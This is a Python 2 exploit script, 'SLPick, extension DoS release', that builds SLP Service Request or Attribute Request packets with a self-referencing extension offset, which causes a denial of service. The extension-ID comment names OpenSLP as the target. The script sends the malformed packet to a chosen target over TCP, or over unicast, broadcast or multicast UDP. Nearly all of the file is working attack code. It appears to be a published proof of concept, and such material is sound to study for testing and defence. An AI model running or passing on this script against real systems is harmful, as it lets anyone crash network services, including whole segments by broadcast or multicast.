#!/usr/bin/python
''' ==================================
Pseudo documentation
================================== '''
# SLPick, extension DoS release
# by Nicolas Gregoire
''' ==================================
Imports
================================== '''
import getopt
import re
import sys
import binascii
import struct
import socket
import os
''' ==================================
Default values
================================== '''
version = '0.4'
mode = 'unicast'
source = 'N/A'
target = 'N/A'
xid = '\x12\x34'
port = 427
nb = 1
req = 'sr'
''' ==================================
Standard functions
================================== '''
# Some nice formatting
def zprint(str):
print '[=] ' + str
# Function displaying CLI arguments
def showUsage():
print 'Usage : ' + sys.argv[0] + ' [-h] [-m mode] [-p port] [-n number] [-s source_IP] [-t target_IP]'
print '\t[-h] Help (this text)'
print '\t[-m] Mode : tcp / unicast / broadcast / multicast (default is "' + mode + '")'
print '\t[-p] Port : default is "' + str(port) + '"'
print '\t[-s] Source IP Adress : no default (used only in multicast mode)'
print '\t[-t] Target IP Adress : no default (forced in multicast mode)'
print '\t[-n] Number of extensions : 0 (no bug) / 1 (default) / 2 (trailing extension)'
print '\t[-r] Request type : sr (ServerRequest, default) / ar (AttributeRequest)'
sys.exit(1)
# Function parsing parameters
def getArguments():
try:
optlist, list = getopt.getopt(sys.argv[1:], 'hm:p:t:s:n:r:')
except getopt.GetoptError:
showUsage()
for opt in optlist:
if opt[0] == '-h':
showUsage()
if opt[0] == '-p':
global port
port = opt[1]
if opt[0] == '-s':
global source
source = opt[1]
if opt[0] == '-t':
global target
target = opt[1]
if opt[0] == '-m':
global mode
mode = opt[1]
if opt[0] == '-n':
global nb
nb = int(opt[1])
if opt[0] == '-r':
global req
req = opt[1]
# Function checking parameters
def checkArguments():
if (mode == 'multicast'):
# XID : must be 0 in multicast mode
# Target IP : default SLP multicast address
# Source IP : address of the local interface
global xid
xid = '\x00\x00'
zprint('Forcing XID to "0"')
global target
target = '239.255.255.253'
zprint('Forcing target IP to "' + target + '"')
if (source != 'N/A') :
zprint('Forcing source IP to "' + source + '"')
else:
zprint('You need to force the source address with "-s" !')
showUsage()
elif (mode == 'unicast') or (mode == 'broadcast') or (mode == 'multicast') or (mode == 'tcp'):
# Target IP : must be defined
if (target == 'N/A') :
zprint('Invalid target !')
showUsage()
else :
zprint('Invalid mode !')
showUsage()
''' ==================================
SLP functions
================================== '''
# Define payload of type "Service Request"
def getServRequest():
zprint('Creating payload of type "Service Request"')
# Function type
f = '\x01'
# Empty fields
previous_list_length = '\x00\x00'
predicate_length = '\x00\x00'
scope_length = '\x00\x00'
spi_length = '\x00\x00'
# Variable-size fields
service = 'service:directory-agent'
service_length = struct.pack('!h', len(service))
# Create message
m = previous_list_length + service_length + service
m += predicate_length + scope_length + spi_length
return(f, m)
# Define payload of type "Attribute Request"
def getAttrRequest():
zprint('Creating payload of type "Attribue Request"')
# Function type
f = '\x06'
# Empty fields
previous_list_length = '\x00\x00'
tag_length = '\x00\x00'
spi_length = '\x00\x00'
# Variable-size fields
url = 'http://www.agarri.fr/'
url_length = struct.pack('!h', len(url))
scope = 'default'
scope_length = struct.pack('!h', len(scope))
# Create message
m = previous_list_length
m += url_length + url + scope_length + scope
m += tag_length + spi_length
return(f, m)
# Define the function creating the full SLP packet
def createPacket(function, message):
zprint('Adding headers and trailers')
# SLP Version
version = '\x02'
# Set the 'Multicast required' flag to 1
if (mode == 'broadcast' or mode == 'multicast'):
flags = '\x20\x00'
else:
flags = '\x00\x00'
#######################################################
# Here's the bug !!!!
#######################################################
zprint('Using ' + str(nb) + ' extension(s)')
if (nb == 0):
# No extension == no bug
next_ext_offset = '\x00\x00\x00'
extension = ''
elif (nb == 1):
# Loop over itself
next_ext_offset = '\x00\x00\x05'
extension = ''
elif (nb == 2) :
# Point to another extension located at the end of the packet
# TODO : Calculate it at runtime
if (req == 'sr'):
next_ext_offset = '\x00\x00\x31'
else :
next_ext_offset = '\x00\x00\x36'
# OpenSLP : extid should be < 0x4000 or > 0x7FFF
ext_id = '\xBA\xBE'
# Loop over itself, 0x05 (back to previous extension) should work too
ext_nextoffset = next_ext_offset
# Could be anything
ext_data = '\x22\x22'
# Create the trailing extension
extension = ext_id + ext_nextoffset + ext_data
else:
print 'Wrong number of extensions'
sys.exit(1)
# Variable-size headers
lang = 'en'
lang_length = struct.pack('!h', len(lang))
# Assemble headers
headers = flags + next_ext_offset + xid + lang_length + lang
# Packet = version + function + overall size + headers + message + extension
packet = version + function + '\x00'
packet += struct.pack('!h', len(headers + message + extension) + 5)
packet += headers + message + extension
return packet
''' ==================================
Send packet via TCP or UDP
================================== '''
# Send via TCP
def sendTcpPacket(packet):
zprint('Sending packet via TCP [' + target + ']')
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(3)
try:
s.connect((target, port))
except socket.error:
zprint('Socket error (port closed ?)')
sys.exit(1)
s.send(packet)
s.close
# Send via unicast UDP
def sendUnicastPacket(packet):
zprint('Sending packet via Unicast UDP [' + target + ']')
s = socket.socket( socket.AF_INET, socket.SOCK_DGRAM )
s.sendto( packet, (target, port) )
# Send via broadcast UDP
def sendBroadcastPacket(packet):
zprint('Sending packet via Broadcast UDP [' + target + ']')
s = socket.socket( socket.AF_INET, socket.SOCK_DGRAM )
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
s.sendto( packet, (target, port) )
# Send via multicast UDP
def sendMulticastPacket(packet):
zprint('Sending packet via Multicast UDP [' + target + ']')
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
sock.bind((source, 6666)) # Select an interface (and an evil port ;-)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
sock.sendto(packet, (target, port) );
''' ==================================
Main code
================================== '''
# Print banner
zprint('SLPick : SLP client v' + version + ' (by Nicolas Gregoire)')
# Set options
getArguments()
checkArguments()
# Which payload ?
if (req == 'ar'):
func, payload = getAttrRequest()
else :
func, payload = getServRequest()
# Add headers and trailers (including extensions)
packet = createPacket(func, payload)
# TCP
if (mode == 'tcp'):
sendTcpPacket(packet)
# UDP
elif (mode == 'unicast'):
sendUnicastPacket(packet)
elif (mode == 'broadcast'):
sendBroadcastPacket(packet)
elif (mode == 'multicast'):
sendMulticastPacket(packet)
# Exit
zprint('Exit')
